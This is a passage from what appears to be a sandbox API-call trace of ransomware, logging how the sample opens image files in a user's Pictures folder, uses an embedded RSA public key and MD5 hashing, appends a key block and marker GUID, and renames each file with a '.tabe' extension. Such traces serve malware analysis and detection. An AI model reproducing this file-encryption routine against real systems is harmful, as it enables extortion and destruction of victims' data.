HALPmcxz\\Pictures\\EcRUIFrkcwteoITv.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ecruifrkcwteoitv.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.540] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=81547) returned 1 [0126.540] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.541] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13e65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.541] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.542] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13e8b, lpOverlapped=0x0) returned 1 [0126.543] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.543] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.543] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.543] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.544] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.544] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.544] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.544] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.544] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.544] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.544] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.544] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.544] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.544] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.545] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13e8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.545] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.545] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.545] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.545] CloseHandle (hObject=0x618) returned 1 [0126.546] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EcRUIFrkcwteoITv.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ecruifrkcwteoitv.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EcRUIFrkcwteoITv.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ecruifrkcwteoitv.jpg.tabe")) returned 1 [0126.547] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c955d00, ftCreationTime.dwHighDateTime=0x1d5ddd4, ftLastAccessTime.dwLowDateTime=0xbaff8ca0, ftLastAccessTime.dwHighDateTime=0x1d5d854, ftLastWriteTime.dwLowDateTime=0xbaff8ca0, ftLastWriteTime.dwHighDateTime=0x1d5d854, nFileSizeHigh=0x0, nFileSizeLow=0x7f11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="eQ3QKHb.png", cAlternateFileName="")) returned 1 [0126.547] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eQ3QKHb.png") returned=".png" [0126.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eQ3QKHb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eq3qkhb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.548] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=32529) returned 1 [0126.548] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.549] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7eeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.549] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.550] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7f11, lpOverlapped=0x0) returned 1 [0126.551] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.551] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.551] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.551] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.552] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.552] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.552] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.552] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.552] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.552] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.552] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.552] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.552] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.552] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.552] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7f11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.552] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.553] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.553] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.553] CloseHandle (hObject=0x618) returned 1 [0126.553] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eQ3QKHb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eq3qkhb.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eQ3QKHb.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eq3qkhb.png.tabe")) returned 1 [0126.555] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98233c40, ftCreationTime.dwHighDateTime=0x1d5e2bd, ftLastAccessTime.dwLowDateTime=0x895a8030, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x895a8030, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x14a75, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="EREIYi.bmp", cAlternateFileName="")) returned 1 [0126.555] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EREIYi.bmp") returned=".bmp" [0126.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EREIYi.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ereiyi.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.555] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=84597) returned 1 [0126.555] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.556] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14a4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.556] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.557] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x14a75, lpOverlapped=0x0) returned 1 [0126.558] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.558] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.558] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.558] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.559] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.559] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.559] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.559] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.559] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.559] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.559] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.559] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.559] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.560] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.560] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14a75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.560] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.560] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.560] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.560] CloseHandle (hObject=0x618) returned 1 [0126.561] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EREIYi.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ereiyi.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EREIYi.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ereiyi.bmp.tabe")) returned 1 [0126.562] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1cf30, ftCreationTime.dwHighDateTime=0x1d5dae8, ftLastAccessTime.dwLowDateTime=0x3532cc40, ftLastAccessTime.dwHighDateTime=0x1d5e245, ftLastWriteTime.dwLowDateTime=0x3532cc40, ftLastWriteTime.dwHighDateTime=0x1d5e245, nFileSizeHigh=0x0, nFileSizeLow=0xd534, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FuNf.bmp", cAlternateFileName="")) returned 1 [0126.562] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FuNf.bmp") returned=".bmp" [0126.563] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FuNf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\funf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.563] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=54580) returned 1 [0126.563] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.564] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd50e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.564] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.565] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd534, lpOverlapped=0x0) returned 1 [0126.566] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.566] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.566] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.566] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.567] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.567] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.567] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.567] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.567] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.567] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.567] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.567] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: 